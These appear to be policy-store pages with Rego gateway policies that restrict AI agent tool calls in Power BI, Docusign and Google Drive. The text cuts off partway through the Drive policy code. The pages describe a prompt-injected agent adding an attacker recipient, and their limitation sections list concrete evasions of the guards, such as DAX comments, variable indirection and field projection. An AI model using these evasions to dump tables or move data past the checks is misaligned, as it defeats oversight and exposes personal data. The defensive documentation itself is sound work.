https://github.com/dtwoai/policy-store/blob/main/apps/power-bi/guard-warehouse-sql-dax/policy.md # power-bi / guard-warehouse-sql-dax **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on a bare full-table `EVALUATE` (fail **open** when no DAX text is present — nothing to dump), allow otherwise **Package:** `power_bi.ingress.guard_warehouse_sql_dax` ## What it does Power BI semantic models front the warehouse: a model imports or DirectQueries lakehouse/warehouse tables — finance, HR, customer PII. DAX is **read-only**, so the risk on the query path is not corruption but *wholesale exfiltration*: a bare `EVALUATE 'Customers'` returns the entire `Customers` table in one call. This ingress policy inspects the DAX expression argument on the query-capable Power BI tools and denies a **bare full-table evaluation** — `EVALUATE` immediately followed by a table reference with **no row-limiting or aggregating function** wrapping it. A query that bounds or aggregates the table — `TOPN`, `FILTER`, `SUMMARIZE`, `SUMMARIZECOLUMNS`, `SAMPLE`, `ROW`, or a filtered `CALCULATETABLE` — passes through, because every one of those constructs introduces a function call (`(`) after `EVALUATE`, and the guard's anchored pattern only fires when the table reference runs unbroken to the end of the statement. The check runs at ingress, before the DAX reaches the model, so a blocked full-table dump never executes and no rows are ever returned to the agent. ### Fail-open on missing DAX Unlike a write guard, this policy **fails open** when a matched tool carries no readable DAX string (missing or empty argument): with no query there is nothing to dump, so the call is allowed. This is the opposite posture from the SQL write-guard sibling (which fails *closed* on empty SQL) — here an empty argument is inert, not a bypass, because the tool cannot exfiltrate without a query. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission, movement, and removal of information: the most permissive form of programmatic read (an unfiltered whole-table pull) is blocked on the agent MCP path, so an agent cannot move an entire model table off the gateway in one call without a bounded, approved extract. - **GDPR Art. 5(1)(c)** — supports data minimisation on the agent channel by forcing DAX reads to bound or aggregate the result rather than returning an entire personal-data table in a single evaluation. ## Tool name matching The policy matches the query-capable Power BI tools by **suffix** (the gateway prefixes tool names with the configured MCP server name, which is not standardized), on `lower(input.resource.name)`: - `*executequery` — remote official server (`ExecuteQuery`, PascalCase on the wire; matched lowercased). - `*execute_dax` — community `sulaiman013/powerbi-mcp` server. This suffix also covers `desktop_execute_dax` (the Desktop variant), since that name ends with `execute_dax`. - `*dax_query_operations` — modeling server (`microsoft/powerbi-modeling-mcp`) DAX query multiplexer. Metadata/read tools that do not carry a DAX expression — `GetSemanticModelSchema`, `GetReportMetadata`, `ValueSearch`, `cloud_list_tables`, the `*_operations` metadata multiplexers — do not end with any of these suffixes and pass through untouched. (`ValueSearch` searches raw data values and is better paired with the egress PII redaction policy; it is out of scope for this DAX-text guard.) ## Argument shape The DAX text is read from `input.payload.args` across a set of candidate keys — `dax_query` (verified for the community server), plus `dax`, `query`, `expression`, and `daxQuery` as defensive fallbacks — and the policy inspects the concatenation of whichever **string** values are present. Only string values are considered; a non-string value (list/object) contributes nothing. **The exact DAX argument field name is unverified in the landscape note** for the remote and modeling servers (the preview docs describe "a DAX query expression (string)" without naming the wire field). If your deployment names the argument something outside the candidate set, the guard sees no DAX text and — per the fail-open posture — allows the call. Add the real key to `dax_arg_keys` in `policy.md` once you confirm it with the dump-input debug technique. ## Examples ### Denied — bare full-table dump ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-mcp-ExecuteQuery", "type": "tool" }, "payload": { "name": "powerbi-mcp-ExecuteQuery", "args": { "expression": "EVALUATE 'Customers'" } } } } ``` `allow = false` with the whole-table-dump reason. ### Allowed — row-bounded with TOPN ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "powerbi-mcp-ExecuteQuery", "type": "tool" }, "payload": { "name": "powerbi-mcp-ExecuteQuery", "args": { "expression": "EVALUATE TOPN(100, 'Customers')" } } } } ``` `allow = true` — the `TOPN(` call breaks the bare-table pattern. ### Allowed — filtered `EVALUATE FILTER('Customers', 'Customers'[Region] = "EMEA")` and `EVALUATE SUMMARIZECOLUMNS('Customers'[Country], "n", COUNTROWS('Customers'))` both pass — an aggregating/filtering function follows `EVALUATE`. ### Allowed — no DAX present (fail open) A matched tool called with no DAX argument (or an empty string) is allowed: there is no query, so nothing can be dumped. ## Composition This guard is single-purpose and deliberately narrow. Pair it with: - **Egress PII redaction** on `ExecuteQuery` / `execute_dax` / `ValueSearch` results — a *filtered* query the pattern allows can still return regulated data, and DAX obfuscation (below) can slip a dump past this ingress guard. The egress policy is the backstop that masks email/SSN/PAN patterns in returned rows. **This ingress guard is not sufficient on its own.** - **PF-07 SQL write guard siblings** on the warehouse connectors behind the model (Snowflake/BigQuery/Databricks) for the write/DDL surface DAX cannot reach. - A **service-identity guard** — the remote server does not enforce row-level security under service-principal auth, so a shared-credential deployment widens every caller's scope. Blocking service-identity `ExecuteQuery` sessions is a separate, complementary policy. ## Known limitations - **Regex over DAX text, not a parser.** This is a high-signal guard for the common bare-dump shape, **not** a complete DAX parser. It matches `EVALUATE` followed by a table reference that runs unbroken to the end of the statement. Known evasions, all documented rather than caught: - **Variables / `DEFINE` blocks.** `DEFINE VAR t = FILTER('Customers', …)` then `EVALUATE t` — the trailing `EVALUATE t` matches the bare-table pattern and is denied even though it is filtered (false positive); conversely a variable that resolves to a whole table can be dumped through an aggregating-looking wrapper the regex misreads. Variable indirection is the primary evasion. - **Comments containing parentheses (unquoted tables only).** For an *unquoted* table, `EVALUATE Customers /* uses ( */` — the `(` inside the comment breaks the unquoted end-of-line pattern, so the dump is allowed (false negative). Note this evasion does **not** work for a quoted table name: `EVALUATE 'Customers' /* uses ( */` is still caught, because the quoted pattern matches the `'…'` table reference directly after `EVALUATE` and ignores any trailing comment. - **A comment *between* `EVALUATE` and the table (quoted or unquoted).** `EVALUATE /* x */ 'Customers'` and `EVALUATE // x⏎'Customers'` are full dumps that are **not** caught (false negative): the comment token sits where the pattern expects the table reference or an opening `(`, so neither the bare nor the parenthesised pattern fires. This defeats the quoted pattern too — a *leading* comment is stronger than the trailing-comment evasion above. Stripping DAX comments before matching is beyond a conservative regex; rely on the egress redaction companion. - **Parenthesised bare table — CAUGHT for single wrap, residual for nesting.** `EVALUATE ('Customers')` and `EVALUATE (Customers)` (a table wrapped in bare parentheses, still a whole-table dump) **are** now denied by the `paren_*_dump_pattern` rules. Deeper nesting — `EVALUATE (('Customers'))` — is **not** caught, because the inner content is no longer a lone table reference the pattern recognises. Multi-level parenthesisation is a documented residual in the same class as variable indirection. - **`CALCULATETABLE` without a filter.** Only a *filtered* `CALCULATETABLE` is an intended allow; an unfiltered `EVALUATE CALCULATETABLE('Customers')` is effectively a full dump but is **not** caught, because the `(` immediately follows a function name (`CALCULATETABLE`), not a lone table reference. Detecting filter-less `CALCULATETABLE` is beyond a conservative regex. - **Unverified argument field name.** The remote/modeling DAX argument key is not verified in the landscape note; a call whose DAX lands under a key outside `dax_arg_keys` is allowed (fail open). Confirm the key and add it. - **Fail-open by design.** Because a query-only tool cannot exfiltrate without a query, an empty/absent/misnamed DAX argument is allowed. Combined with the obfuscation residual above, treat this as a first line of defense and rely on the egress redaction companion for the data actually returned. - **No identity exemption.** All callers are subject to the same check. If a data-team break-glass path needs full exports, gate it with `input.subject.claims.groups` as a separate `allow if` branch; group names in such a branch are placeholders — replace them with your IdP's group name. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package power_bi.ingress.guard_warehouse_sql_dax # Deny-by-default: a query-capable Power BI DAX tool call is permitted unless it # carries a bare full-table EVALUATE. The explicit allow rules below cover the # passthrough, fail-open (no DAX), and bounded-query cases; anything left over # (a matched tool + readable DAX + bare-dump pattern) falls to the default deny. default allow := false # --- Query-capable DAX tools (matched by suffix) ----------------------------- # The gateway prefixes tool names with the configured MCP server name (not # standardized), so match on the lowercased suffix for portability: # - `executequery` — remote official server (ExecuteQuery, PascalCase) # - `execute_dax` — community sulaiman013 server; also covers # `desktop_execute_dax` (ends with `execute_dax`) # - `dax_query_operations` — modeling server DAX query multiplexer dax_tool_suffixes := [ "executequery", "execute_dax", "dax_query_operations", ] is_dax_tool if { name := lower(input.resource.name) some suffix in dax_tool_suffixes endswith(name, suffix) } # --- DAX extraction ---------------------------------------------------------- # The exact wire field name is unverified for the remote/modeling servers; read # the DAX text from a set of candidate keys and inspect the concatenation of # whichever STRING values are present. `dax_query` is verified for the community # server; the rest are defensive fallbacks. A non-string value contributes # nothing, so it cannot smuggle a query past the string-based pattern. dax_arg_keys := ["dax_query", "dax", "query", "expression", "daxQuery"] dax_text := concat(" ", [v | some key in dax_arg_keys v := object.get(input.payload.args, key, "") is_string(v) v != "" ]) # --- Bare full-table dump detection ------------------------------------------ # `(?i)` case-insensitive (DAX keywords are case-insensitive). `\b` avoids # matching a longer identifier ending in EVALUATE. Two patterns, because relying # on a single end-of-TEXT (`$`) anchor was bypassable: a DAX query may contain # several EVALUATE statements, so appending a second statement that merely # contains a `(` (e.g. `EVALUATE 'Customers'\nEVALUATE ROW("x",1)`) used to push # the dump off the `$` anchor and slip through. The two patterns below anchor on # statement/line boundaries and on the quote-directly-after-EVALUATE shape, so a # trailing statement, comment, or decoy argument key can no longer hide a dump. # # 1. Quoted bare table — a single-quoted table name directly follows EVALUATE. # No DAX *function* is single-quoted, so `EVALUATE ''` is unambiguously # a whole-table evaluation. This pattern deliberately does NOT anchor to end # of text, so it fires regardless of any trailing statement/comment/paren and # also catches table names that themselves contain `(` (e.g. 'Sales (2)'). # A filtering/aggregating call puts its quote INSIDE parens after a function # name (`FILTER('Customers',…)`), so the quote does not directly follow # EVALUATE and this pattern does not fire. # 2. Unquoted bare table — EVALUATE + an identifier whose run to end-of-LINE # (or end of text) contains no `(`. Terminating on the line break rather than # end-of-text means a following statement that contains a `(` no longer hides # a preceding unquoted dump. TOPN(/FILTER(/SUMMARIZE(/SUMMARIZECOLUMNS(/ # SAMPLE(/ROW(/CALCULATETABLE( all introduce a `(` on the same line and so # break this pattern and are allowed. bare_quoted_dump_pattern := `(?i)\bEVALUATE\s+'[^']*'` bare_unquoted_dump_pattern := `(?i)\bEVALUATE\s+[A-Za-z_][^(\r\n]*(\r?\n|$)` # 3+4. Parenthesised bare table — `EVALUATE ('Customers')` / `EVALUATE (Customers)`. # A table reference wrapped in nothing but parentheses is still a whole-table # dump; the outer `(` used to masquerade as a bounding/aggregating function # call and slip the dump straight through (patterns 1 and 2 both require the # table token to follow EVALUATE with no intervening `(`). These two patterns # fire ONLY when the parentheses contain a lone table reference (a quoted name # or a single bare identifier) and immediately close — so a real bounding call # inside the parens (`EVALUATE (FILTER('Customers',…))`, first token after `(` # is `FILTER` then another `(`, not a closing `)`) does NOT match and still # passes. Deeper nesting (`EVALUATE (('Customers'))`) is a documented residual. paren_quoted_dump_pattern := `(?i)\bEVALUATE\s*\(\s*'[^']*'\s*\)` paren_unquoted_dump_pattern := `(?i)\bEVALUATE\s*\(\s*[A-Za-z_][A-Za-z0-9_]*\s*\)` is_bare_table_dump if { regex.match(bare_quoted_dump_pattern, dax_text) } is_bare_table_dump if { regex.match(bare_unquoted_dump_pattern, dax_text) } is_bare_table_dump if { regex.match(paren_quoted_dump_pattern, dax_text) } is_bare_table_dump if { regex.match(paren_unquoted_dump_pattern, dax_text) } # --- Allow rules ------------------------------------------------------------- # Non-guarded tools (metadata/read helpers, anything not a DAX query tool) pass. allow if { not is_dax_tool } # Fail OPEN: a query tool with no readable DAX text cannot dump anything. allow if { is_dax_tool dax_text == "" } # A query tool with DAX that is NOT a bare full-table dump (bounded/aggregated). allow if { is_dax_tool dax_text != "" not is_bare_table_dump } # --- Deny reason ------------------------------------------------------------- reasons contains "This DAX query is a bare full-table evaluation (EVALUATE over an entire table with no row-limiting or aggregating function), which returns the whole table in one call and is blocked on the agent MCP path. Add a FILTER predicate or wrap the table in TOPN to bound the result, or request an approved data extract from the data team if a full export is genuinely required. If this was a false positive (for example a filtered query the guard could not parse), contact your data platform team." if { is_dax_tool dax_text != "" is_bare_table_dump } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Guard Docusign External Recipients URL: https://www.intentbasedpolicy.com/policies/docusign/guard-external-recipients App(s): docusign | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: docusign.ingress.guard_external_recipients | Published: 2026-07-12 | Tags: docusign, guard-external-send, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/docusign/guard-external-recipients/policy.md # docusign / guard-external-recipients **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `docusign.ingress.guard_external_recipients` ## What it does Blocks Docusign envelope-creation and recipient-update tool calls when any recipient email address has a domain outside the configured counterparty allowlist. The denial reason names each offending address so the caller can correct the routing. This stops two failure modes at once: - **Accidental mis-sends** — an agent routing a contract to the wrong party (typo'd domain, hallucinated address, stale contact). - **Recipient-injection exfiltration** — the "add my personal address as a signer" pattern, where a compromised or prompt-injected agent adds an attacker-controlled recipient to an envelope. Every Docusign recipient (signer, carbon copy, agent, editor) receives the envelope contents, so an added recipient is a full copy of the documents. Docusign envelopes are PII by construction (names, emails, addresses, signatures) and frequently carry financial terms or PHI, so restricting who can be routed a copy is a transmission-boundary control. The check runs at ingress, before the call reaches the Docusign MCP server, so a blocked envelope is never created or re-routed and no email ever goes out. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of confidential information by confining envelope routing to approved counterparty domains on the agent channel; **P6.1** — supports limiting personal-information disclosure to authorized third parties. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing: contract PII cannot be routed to unapproved recipients over the agent path; **Arts. 44/46** — supports cross-border-transfer duties by making the recipient-domain allowlist an explicit, auditable transfer boundary for agent-visible flows. - **HIPAA §164.530(c)** — supports privacy safeguards on the agent path for envelopes that carry PHI (healthcare consent forms, HR/benefits paperwork). ## Why ingress and not egress Creating or re-routing an envelope is a write with external side effects — `createEnvelope` with `status: "sent"` emails real recipients a signature request in Docusign's name, and `updateEnvelopeRecipients` can hand a pending envelope to a new party. Egress inspection would run after the damage is done. Ingress denial is the only placement that actually prevents the disclosure. ## Tool name matching The policy matches, case-insensitively and by substring (the DTwo gateway prefixes tool names with the configured MCP server name, e.g. `docusign-createEnvelope`, and that prefix is not standardized): - `*createEnvelope*` — official Docusign MCP server (verified in the official tool catalog) - `*updateEnvelopeRecipients*` — official Docusign MCP server (verified) - `*create_envelope_from_*` — community luthersystems server: `create_envelope_from_template` and `create_envelope_from_documents` (verified from source) Verify the exact names your gateway sends using the dump-input debug technique before relying on this in production, and add extra `is_recipient_write_tool` rules if your Docusign MCP server exposes different names. ## Argument shape Recipient emails are collected from every shape the known servers use: 1. `recipients.[].email` — official `createEnvelope` (mirrors eSignature Envelopes:create). The policy iterates **every** array under `recipients`, so `signers`, `carbonCopies`, `agents`, `editors`, `certifiedDeliveries`, etc. are all checked — a CC is a full copy of the envelope. 2. `compositeTemplates[].inlineTemplates[].recipients.[].email` — official `createEnvelope` composite path. Same per-array sweep as (1), applied inside each inline template, so an external signer/CC cannot be smuggled in through a composite template. 3. **Every array at the top level of `args`** — this is how `updateEnvelopeRecipients` ships recipients (EnvelopeRecipients:update places `signers`, `carbonCopies`, `agents`, `editors`, `certifiedDeliveries`, ... directly in the body, *not* under a `recipients` wrapper), so all recipient types on the reroute path are checked — not just signers. This generic sweep also subsumes official `templateRoles[]`, community `role_assignments[]`, and the flat `signers[]` net for community `create_envelope_from_documents` (schema unverified). Only recipient objects carry an `email` field, so document/tab arrays are skipped harmlessly. An email that does not parse as `local@domain` (missing or repeated `@`) fails closed and is reported as offending. Domain comparison is case-insensitive and exact — subdomains must be listed explicitly. A matched tool call with **no** recipient emails at all (e.g. a draft created with documents only) is allowed: with no recipients there is no transmission to guard. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "docusign-createEnvelope", "type": "tool" }, "payload": { "name": "docusign-createEnvelope", "args": { "emailSubject": "MSA for signature", "status": "sent", "recipients": { "signers": [{ "email": "legal@approved-counterparty.com", "name": "Ada", "routingOrder": "1" }] } } } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "docusign-updateEnvelopeRecipients", "type": "tool" }, "payload": { "name": "docusign-updateEnvelopeRecipients", "args": { "envelopeId": "0aa1b2c3", "signers": [{ "email": "me.personal@gmail.com", "name": "Me", "recipientId": "2" }] } } } } ``` `allow = false`, `reason = "Docusign recipient 'me.personal@gmail.com' has a domain outside the approved counterparty allowlist. (...)"`. ## Composition This policy is single-purpose. Useful companions: - `apps/docusign/force-draft-envelopes` — an ingress transform that rewrites `status: "sent"` to `"created"` so agents can prepare envelopes but only authorized humans dispatch them; together the two policies mean an agent can neither send nor mis-route. - An ingress deny on `updateEnvelope` voiding (irreversible) and an egress redaction policy on `listRecipients` / `getAgreementDetails` tab values for the read path. ## Known limitations - **The counterparty domain allowlist is a placeholder.** Replace `yourcompany.com` / `approved-counterparty.com` in `counterparty_domains` with your own corporate domain(s) plus your approved counterparty domains at import time. An empty or stale list will deny every envelope with recipients. - **Exact domain match.** `mail.yourcompany.com` does not match `yourcompany.com` — list every subdomain you route to. - **Official-server argument shapes are documented REST body shapes, not an MCP schema dump.** The landscape research notes Docusign does not publish per-tool JSON schemas; verify against a live `tools/list` before relying on exact field names. - **Community `create_envelope_from_documents` recipient shape is unverified.** It is covered best-effort via the flat `signers[]` path; if that server nests recipients differently, extend `recipient_emails`. - **Recipient extraction is shape-bound (fail-open on unknown nesting).** Emails are read from only three places: `args.recipients.[].email`, `args.compositeTemplates[].inlineTemplates[].recipients.[].email`, and arrays at the **top level** of `args`. Two shapes therefore slip through and are **allowed**: (a) a server that wraps the envelope definition one level deeper (e.g. `args.envelopeDefinition.recipients` or `args.body.signers[]`), and (b) a recipient expressed as a bare string rather than an object carrying an `email` field (e.g. `signers: ["x@evil.com"]`). This matches the verified official and luthersystems shapes, which place recipients where the sweeps look and use objects with an `email` field; the extraction is deliberately not a recursive deep-walk so it cannot over-deny non-recipient arrays or reach the intentionally-excluded `emailSettings.bccEmailAddresses` residual above. If your gateway's `tools/list` shows a wrapped body or a string-array recipient shape, extend `args_obj` / `recipient_emails` to reach it. - **Recipients only.** Emails embedded elsewhere — `emailBlurb` text, workflow `triggerWorkflow` inputs, tab values — are not inspected here; keep this policy focused and add companions for those surfaces. One recipient-adjacent residual is **not** covered: `emailSettings.bccEmailAddresses[].email` (a silent BCC-archive copy on `createEnvelope`) is nested under an object rather than an array under `args`/`recipients`, so the sweeps above do not reach it. If your account uses BCC email archiving over the agent path, add a dedicated extraction rule for it once you have verified the field against a live `tools/list`. - **No identity-based exemptions.** All callers are subject to the same allowlist. If you need a contract-ops break-glass group, add a separate `allow if` branch gated on `input.subject.claims.groups`. - Docusign's web UI, PowerForms, and native API are outside the gateway's reach; this control applies to the MCP path only. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package docusign.ingress.guard_external_recipients # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # PLACEHOLDER — replace at import time with your own corporate domain(s) plus # the counterparty domains approved for e-signature routing. Comparison is # case-insensitive and exact (subdomains must be listed explicitly). counterparty_domains := { "yourcompany.com", "approved-counterparty.com", } # --- Tool matching ------------------------------------------------------------ # The gateway prefixes tool names with the configured MCP server name # (e.g. `docusign-createEnvelope`), and community servers use snake_case, so # match case-insensitively by substring to stay portable. Verify the exact # names on your gateway with the dump-input debug technique before relying on # this in production. # Official Docusign MCP server: createEnvelope is_recipient_write_tool if { contains(lower(input.resource.name), "createenvelope") } # Community (luthersystems): create_envelope_from_template / create_envelope_from_documents is_recipient_write_tool if { contains(lower(input.resource.name), "create_envelope_from_") } # Official Docusign MCP server: updateEnvelopeRecipients is_recipient_write_tool if { contains(lower(input.resource.name), "updateenveloperecipients") } # --- Recipient email extraction ------------------------------------------------- args_obj := object.get(input, ["payload", "args"], {}) # 1. Official createEnvelope: every array under the `recipients` object — signers, # carbonCopies, agents, editors, certifiedDeliveries, ... Every recipient type # receives the envelope contents, so all of them are transmission boundaries. recipient_emails contains email if { recipients := object.get(args_obj, "recipients", {}) some entry_list in recipients is_array(entry_list) some entry in entry_list email := object.get(entry, "email", "") email != "" } # 2. Composite/inline template path (official Envelopes:create composite shape): # compositeTemplates[].inlineTemplates[].recipients.[].email. Without this # rule an agent can smuggle an external signer/CC through the composite path and # bypass the top-level `recipients` check entirely. recipient_emails contains email if { some composite in object.get(args_obj, "compositeTemplates", []) some inline in object.get(composite, "inlineTemplates", []) recipients := object.get(inline, "recipients", {}) some entry_list in recipients is_array(entry_list) some entry in entry_list email := object.get(entry, "email", "") email != "" } # 3. Flat recipient-type arrays at the TOP LEVEL of args. The EnvelopeRecipients:update # body (updateEnvelopeRecipients) places signers, carbonCopies, agents, editors, # certifiedDeliveries, ... directly in the request body — not nested under `recipients` — # so a CC/agent/editor added there is a full copy of the envelope just like a signer. # This generic sweep also covers official `templateRoles[]`, community # `role_assignments[]`, and the flat `signers[]` net for community # create_envelope_from_documents (its exact schema is unverified). Only recipient # objects carry an `email` field, so document/tab arrays are skipped harmlessly. recipient_emails contains email if { some entry_list in args_obj is_array(entry_list) some entry in entry_list email := object.get(entry, "email", "") email != "" } # --- Domain allowlist check ----------------------------------------------------- # An address passes only when it parses as exactly local@domain and the domain # is on the allowlist. Anything else (no @, repeated @, unknown domain) fails # closed and is reported as an offending address. email_domain_allowed(email) if { parts := split(lower(trim_space(email)), "@") count(parts) == 2 counterparty_domains[parts[1]] } offending_emails contains email if { some email in recipient_emails not email_domain_allowed(email) } # --- Decision ------------------------------------------------------------------- # Any tool other than the Docusign recipient-writing tools passes through. allow if { not is_recipient_write_tool } # Recipient-writing calls are allowed only when every recipient email is on an # approved counterparty domain. A call carrying no recipient emails at all # (e.g. a documents-only draft) has nothing to transmit and is allowed. allow if { is_recipient_write_tool count(offending_emails) == 0 } reasons contains msg if { is_recipient_write_tool some email in offending_emails msg := sprintf("Docusign recipient '%s' has a domain outside the approved counterparty allowlist. Remove this recipient or use an address at an approved counterparty domain. If this is a legitimate counterparty, ask your compliance team to add its domain to the allowlist.", [email]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Guard Drive ACL Reconnaissance URL: https://www.intentbasedpolicy.com/policies/google-drive/guard-acl-recon App(s): google-drive | Direction: ingress | Bundles: soc2 | Package: google_drive.ingress.guard_acl_recon | Published: 2026-07-12 | Tags: google-drive, guard-share-links, acl, sharing, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-drive/guard-acl-recon/policy.md # google-drive / guard-acl-recon **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `google_drive.ingress.guard_acl_recon` ## What it does Denies Google Drive `get_file_permissions` tool calls unless the caller's IdP `groups` claim contains `infosec`. All other tool calls pass through unchanged. Agents rarely need ACL data, and the permissions response is ideal exfiltration-targeting reconnaissance: it enumerates collaborator email addresses (PII) plus a map of exactly which files are shared externally. This policy is the Google Drive instantiation of the `guard-share-links` family (PF-05): no current Drive MCP server exposes a permissions-*write* (sharing) tool, so on Drive the family gates the read-side share surface — ACL reconnaissance — instead of link creation. The check runs at ingress, before the call reaches the Drive MCP server, so denied callers never receive the ACL data. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information: sharing-state maps and collaborator rosters stay off the agent channel except for the InfoSec group. - **SOC 2 P6.1** — supports controls over personal-information disclosure to third parties: collaborator email addresses (PI) are not enumerable by arbitrary agent sessions. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing by keeping collaborator email addresses and external-sharing state (personal data) off the agent channel except for the InfoSec group; **Art. 5(1)(c)** — supports data minimisation of the personal data returned in ACL responses. **CPRA §1798.121** — supports limiting disclosure of contact identifiers on the agent channel. ## Tool name matching The policy matches case-insensitively on the bare **`*permissions`** suffix. That single suffix catches every ACL-read shape seen or plausible on Drive: - `*get_file_permissions` — the verified tool name on the Google official Drive MCP server (`https://drivemcp.googleapis.com/mcp/v1`), and the reported name on the Anthropic-hosted Claude connector. - `*get_permissions` — the shorter variant the Claude connector may report (its suffixes are known to diverge from the Google server names, e.g. `get_metadata` vs `get_file_metadata`). - `*list_permissions` / `*list_file_permissions` / `*listPermissions` — the underlying Drive REST verb is `permissions.list`, so a community or future connector could just as plausibly expose the read under a `list`-style name. These are **unverified** alternate names, but the bare-`permissions` suffix denies them anyway, so an alternate verb can't sneak past the gate. No benign Drive tool across the surveyed servers ends in `permissions`, so gating the bare suffix closes the connector-name gap without over-matching. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `google-drive-mcp-get_file_permissions`), and that prefix is not standardized — suffix matching keeps the policy portable. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. If your Drive MCP server exposes ACL reads under a name that does *not* end in `permissions`, add its suffix to `acl_read_suffixes` in `policy.md`. ## Identity gating The exemption reads `input.subject.claims.groups` and requires a group whose lowercased value equals `infosec`. The check fails closed: if `subject`, `claims`, or `groups` is missing — or `groups` is not an array — the caller is not exempt and the call is denied. ## Argument shape The policy decides on the tool name and the caller's identity only; it does not inspect arguments. Google does not publish per-tool parameter schemas for the Drive MCP server — the documented workflow implies `get_file_permissions` takes a file ID, but the exact field name is unverified and irrelevant to this policy's logic. ## Examples ### Allowed — unrelated Drive tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-drive-mcp-search_files", "type": "tool" }, "payload": { "name": "google-drive-mcp-search_files", "args": { "query": "fullText contains 'roadmap'" } } } } ``` `allow = true`, no reason. ### Allowed — InfoSec caller reading ACLs ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-drive-mcp-get_file_permissions", "type": "tool" }, "subject": { "sub": "google-apps|sec@example.com", "claims": { "groups": ["engineering", "infosec"] } }, "payload": { "name": "google-drive-mcp-get_file_permissions", "args": { "fileId": "1AbC..." } } } } ``` `allow = true`, no reason. ### Denied — caller outside the infosec group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-drive-mcp-get_file_permissions", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "google-drive-mcp-get_file_permissions", "args": { "fileId": "1AbC..." } } } } ``` `allow = false`, `reason = "Reading Drive file permissions is restricted (...)"`. ## Composition This policy is single-purpose. Useful companions for a least-privilege Drive pipeline: - An egress PII/secret redaction policy on content-returning tools (`read_file_content`, `download_file_content`) so file bodies are also covered (PF-02). Extend it to `get_file_metadata` if your MCP server returns owner/sharing fields (see Known limitations) — that redacts the metadata-recon residual this ingress policy cannot reach. - An ingress bulk-export cap on `search_files` page sizes to slow mass enumeration (PF-08). - A write-gating policy on `create_file` / `copy_file` by IdP group (PF-12). ## Known limitations - **Group names are placeholders** — replace `infosec` with your IdP's group name at import time. The exemption only works if your IdP actually emits a `groups` array claim in the access token; many IdPs (including Auth0) require explicit configuration to do so. Until then the policy denies `get_file_permissions` for everyone — safe, but with no break-glass path. - **Argument shape unverified.** Google publishes no per-tool parameter schemas for the Drive MCP server; the assumed file-ID input is not relied on by this policy. - **Connector tool-name divergence.** Third-party write-ups of the Claude connector report slightly divergent suffixes for some tools (e.g. `get_metadata` vs `get_file_metadata`); the connector's names are not verified against official Anthropic docs. To stay ahead of this the policy gates the bare `permissions` suffix rather than a fixed `get_`-prefixed name, so `get_file_permissions`, `get_permissions`, and any `list`-style variant (`list_permissions` / `list_file_permissions` / `listPermissions`, all **unverified** but plausible given the `permissions.list` REST verb) are all denied. The only residual name gap is an ACL-read tool that does *not* end in `permissions` at all; confirm the exact name with the dump-input technique and add its suffix to `acl_read_suffixes` in `policy.md` if your traffic shows such a variant. - **Read-side only.** No current Drive MCP server exposes permission-editing or share-link-creation tools. If Google later ships them, this policy must be extended (or a companion added) to deny anonymous/public link creation per the PF-05 family spec — today that exfil path only exists via the web UI, outside the gateway's reach. - **String-valued `groups` claims deny.** If your IdP emits `groups` as a single string rather than an array, the exemption never fires (fail closed). Normalize the claim at the IdP or adapt `caller_is_acl_reviewer` in `policy.md`. - **Recon residual via file-resource projection (adjacent tools).** This policy gates only tools whose name ends in `permissions` — the dedicated ACL-read surface. But the Google Drive file resource itself carries `owners`, `sharingUser`, `shared`, and (when the caller selects the field) a `permissions[]` array, and **every tool that returns a file resource can project those fields** — not just `get_file_metadata` but also `search_files` and `list_recent_files` (both back onto Drive `files.list`, which accepts the same `fields` selector). So a non-InfoSec caller can recover the *same* collaborator emails and external-share state this policy withholds by asking `get_file_metadata`, `search_files`, or `list_recent_files` for the sharing fields. Whether a given MCP server actually forwards a `fields` selector and includes those fields is unverified (Google publishes no per-tool response schema), so these tools are deliberately allowed here rather than blanket-denied — denying `search_files` outright is the job of a separate bulk-export/enumeration brake (PF-08), not this policy. Close this residual with an egress redaction/field-stripping companion on all file-resource-returning tools (`get_file_metadata`, `search_files`, `list_recent_files`; see Composition); do not treat this ingress policy alone as sealing off ACL reconnaissance. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package google_drive.ingress.guard_acl_recon # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder group name — replace with your IdP's group at import time. acl_reviewer_group := "infosec" # Drive ACL-read tools we gate. `get_file_permissions` is the verified name on # the Google official Drive MCP server; the Claude connector is reported to use # a slightly shorter variant (`get_permissions`). The underlying 